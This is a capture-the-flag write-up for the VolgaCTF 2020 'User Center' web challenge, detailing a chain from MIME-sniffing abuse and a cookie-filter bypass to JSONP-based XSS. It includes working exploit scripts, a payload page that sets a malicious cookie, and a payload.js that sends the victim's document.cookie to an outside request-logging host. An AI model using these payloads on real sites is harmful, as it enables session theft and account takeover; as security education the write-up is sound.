Writeup for a web challenge from VolgaCTF 2020 Qualifier which I really liked.

User Center

Challenge Description

Steal admin’s cookie!

https://volgactf-task.ru/

The goal is to achieve XSS on https://volgactf-task.ru. The application allows users to register, login, and edit their profile. main.js file handles all the client-side logic.

main.js:

function getUser(guid) {
    if (guid) {
        $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(
            data
        ) {
            if (!data.success) {
                location.replace("/profile.html");
            } else {
                profile(data.user);
            }
        });
    } else {
        $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
            if (!data.success) {
                location.replace("/login.html");
            } else {
                profile(data.user, true);
            }
        }).fail(function(jqxhr, textStatus, error) {
            console.log(jqxhr, textStatus, error);
        });
    }
}

function updateUser(user) {
    $.ajax({
        type: "POST",
        url: `//${api}.volgactf-task.ru/user-update`,
        data: JSON.stringify(user),
        contentType: "application/json",
        dataType: "json"
    }).done(function(data) {
        if (!data.success) {
            showError(data.error);
        } else {
            location.replace(`/profile.html`);
        }
    });
}

function logout() {
    $.get(`//${api}.volgactf-task.ru/logout`, function(data) {
        location.replace("/login.html");
    });
}

function profile(user, edit) {
    if (
        !["/profile.html", "/report.php", "/editprofile.html"].includes(
            location.pathname
        )
    )
        location.replace("/profile.html");
    $("#username").text(user.username);
    $("#username").val(user.username);
    $("#bio").text(user.bio);
    $("#bio").val(user.bio);
    $("#avatar").attr("src", `//static.volgactf-task.ru/${user.avatar}`);
    if (edit) {
        $("#editProfile").removeClass("d-none");
    }
    $('.nav-item .nav-link[href="/login.html"]').addClass("d-none");
    $('.nav-item .nav-link[href="/register.html"]').addClass("d-none");
    $('.nav-item .nav-link[href="/profile.html"]').removeClass("d-none");
    $('.nav-item .nav-link[href="/logout.html"]').removeClass("d-none");
}

function replaceForbiden(str) {
    return str
        .replace(/[ !"#$%&Вґ()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g, "")
        .replace(/[^\x00-\x7F]/g, "?");
}

function showError(error) {
    $("#error")
        .removeClass("d-none")
        .text(error);
}

$(document).ready(function() {
    api = "api";
    if (Cookies.get("api_server")) {
        api = replaceForbiden(Cookies.get("api_server"));
    } else {
        Cookies.set("api_server", api, { secure: true });
    }

    $.ajaxSetup({
        xhrFields: {
            withCredentials: true
        }
    });

    $("#logForm").submit(function(event) {
        event.preventDefault();
        $.ajax({
            type: "POST",
            url: `//${api}.volgactf-task.ru/login`,
            data: JSON.stringify({
                username: $("#username").val(),
                password: $("#password").val()
            }),
            contentType: "application/json",
            dataType: "json"
        }).done(function(data) {
            if (!data.success) {
                showError(data.error);
            } else {
                location.replace(`/profile.html?guid=${data.guid}`);
            }
        });
    });

    $("#regForm").submit(function(event) {
        event.preventDefault();
        $.ajax({
            type: "POST",
            url: `//${api}.volgactf-task.ru/register`,
            data: JSON.stringify({
                username: $("#username").val(),
                password: $("#password").val()
            }),
            contentType: "application/json",
            dataType: "json"
        }).done(function(data) {
            if (!data.success) {
                showError(data.error);
            } else {
                location.replace(`/profile.html`);
            }
        });
    });

    $("#avatar").on("change", function() {
        $(this)
            .next(".custom-file-label")
            .text($(this).prop("files")[0].name);
    });

    $("#editForm").submit(function(event) {
        event.preventDefault();
        b64Avatar = "";
        mime = "";
        bio = $("#bio").val();
        avatar = $("#avatar").prop("files")[0];
        if (avatar) {
            reader = new FileReader();
            reader.readAsDataURL(avatar);
            reader.onload = function(e) {
                b64Avatar = reader.result.split(",")[1];
                mime = avatar.type;
                updateUser({ avatar: b64Avatar, type: mime, bio: bio });
            };
        } else {
            updateUser({ bio: bio });
        }
    });

    params = new URLSearchParams(location.search);

    if (
        [
            "/",
            "/index.html",
            "/profile.html",
            "/report.php",
            "/editprofile.html"
        ].includes(location.pathname)
    ) {
        getUser(params.get("guid"));
    }
    if (["/logout.html"].includes(location.pathname)) {
        logout();
    }
});

Avatar is served from the static.volgactf-task.ru domain. The thing to note is that while uploading a file, the backend does some check on the MIME type(submitted through type parameter) and rejects those containing html. The provided MIME type is not cross-checked with the content of the uploaded file, and whatever MIME type submitted, it is served in the Content-Type header of the file. Also, X-Content-Type-Options is set to nosniff, which tells the browser to strictly follow Content-Type and not to determine Content-Type by itself. It turns out that if you set Content-Type to */* browser ignores the nosniff option and performs MIME sniffing to determine the content type.

mime = avatar.type;
updateUser({ avatar: b64Avatar, type: mime, bio: bio });

Now to get XSS on static.volgactf-task.ru, we need an HTML file. I looked through Mozilla’s documentation in the hope of finding something. While looking, I came across this. It is a discussion thread about how various browsers handle multipart responses. Firefox renders the last part of the response, to test this, I wrote a little script. The script serves response with multipart content type, and the body of multipart data contains an HTML file.

import socket

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind(('', 1337))

s.listen(10)

REAL_BODY = "<html><body><b>Hellllo</b></body></html>"

HEADER = """HTTP/1.0 200 OK
Content-Type: multipart/x-mixed-replace;boundary="XXMIMEBOUNDARY"
Content-Length: {length}
Server: Werkzeug/1.0.0 Python/3.6.9
Date: Sat, 28 Mar 2020 15:18:09 GMT""".replace("\n", "\r\n")

BODY = """--XXMIMEBOUNDARY\nContent-type: text/html\n\n{body}\n--XXMIMEBOUNDARY"""

BODY = BODY.format(body=REAL_BODY)
HEADER = HEADER.format(length=len(BODY))

PAYLOAD = HEADER
PAYLOAD += "\r\n\r\n"
PAYLOAD += BODY
PAYLOAD += "\r\n\r\n"

while True:
    c, addr = s.accept()

    data = c.recv(1024*10)
    if 'favicon' in data or 'robots' in data:
        c.close()
        continue

    c.send(PAYLOAD)
    c.close()

http-test-1

So, now we can serve an HTML page on static.volgactf-task.ru which has no Content Security Policy. XSS !!!

Next step is getting XSS on volgactf-task.ru. Reading through $.getJSON’s documentation. The JSONP section states that If the URL includes the string "callback=?" (or similar, as defined by the server-side API), the request is treated as JSONP instead. So, if we can control the URL being passed to $.getJSON, we can get XSS on volgactf-task.ru. As seen in the code, we partially control the URL because the api variable is prepended to the URL. Also, we control the guid, because its value is being taken from the query parameter.

$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(

The value of api is read from the cookie and goes through some regex filtering. The filtering can be easily bypassed to control the host part of the new URL by adding character higher than 0x7F. The extended ASCII characters are replaced by ?, which separates the host part in the URL. If we set api_server cookie to sec.faizalhasanwala.me\xffxyz & guid to abc%26callback=?then URL becomes https://sec.faizalhasanwala.me?xyz.volgactf-task.ru/user?guid=abc&callback=?. The request is made to our server and with a query parameter whose value is ? because of the parameter with value ?, the response will get executed as JSONP.

We need to adequately set the cookie for volgactf-task.ru from static.volgactf-task.ru. As there is already a cookie with the name api_server present, we need to restrict the scope of our cookie by adding path to the cookie. The added profile.html allows our cookie to take preference over the already present cookie.

document.cookie =
    "api_server=sec.faizalhasanwala.me\xffxyz;domain=volgactf-task.ru;path=/profile.html";

Complete Exploit

payload.html(served through static.volgactf-task.ru):

<html>
    <head>
        <script>
            document.cookie =
                "api_server=sec.faizalhasanwala.me\xffxyz;domain=volgactf-task.ru;path=/profile.html";
        </script>
    </head>
    <body>
        <img src="https://sec.faizalhasanwala.me/sleep" />
        <iframe src="https://volgactf-task.ru/profile.html?guid=?"></iframe>
    </body>
</html>

Code to upload avatar(payload):

#!/usr/bin/env python2
import requests

URL = "https://api.volgactf-task.ru"
AVATAR_URL = "https://static.volgactf-task.ru/"
COOKIES = {"PHPSESSID": "kv2h8o4c1dl340r2r6lu4dpl6o"}

REAL_BODY = open('payload.html').read()
BODY = "--XXMIMEBOUNDARY\r\n"
BODY += "Content-type: text/html"
BODY += "\r\n\r\n{body}\r\n--XXMIMEBOUNDARY"
BODY = BODY.format(body=REAL_BODY)


def uploadFile():
    resp = requests.post(URL+"/user-update", cookies=COOKIES, json={
        'avatar': BODY.encode('base64'),
        'type': 'multipart/x-mixed-replace;boundary="XXMIMEBOUNDARY"',
        'bio': "BIO here"
    }).json()
    return resp


def getStatus():
    resp = requests.get(URL+"/user", cookies=COOKIES).json()
    return resp


print(uploadFile())
avatar = getStatus().get('user', dict()).get('avatar')
print(AVATAR_URL+avatar)
# https://static.volgactf-task.ru/62430ccd4a03bb435e9b6b2782bedb52

payload.js(served at https://sec.faizalhasanwala.me):

const url =
    "https://requestinspector.com/inspect/rand00000m?s=" +
    encodeURIComponent(document.cookie);
console.log(url);
document.location = url;

Now we submit https://static.volgactf-task.ru/62430ccd4a03bb435e9b6b2782bedb52 URL through bug report and wait for flag.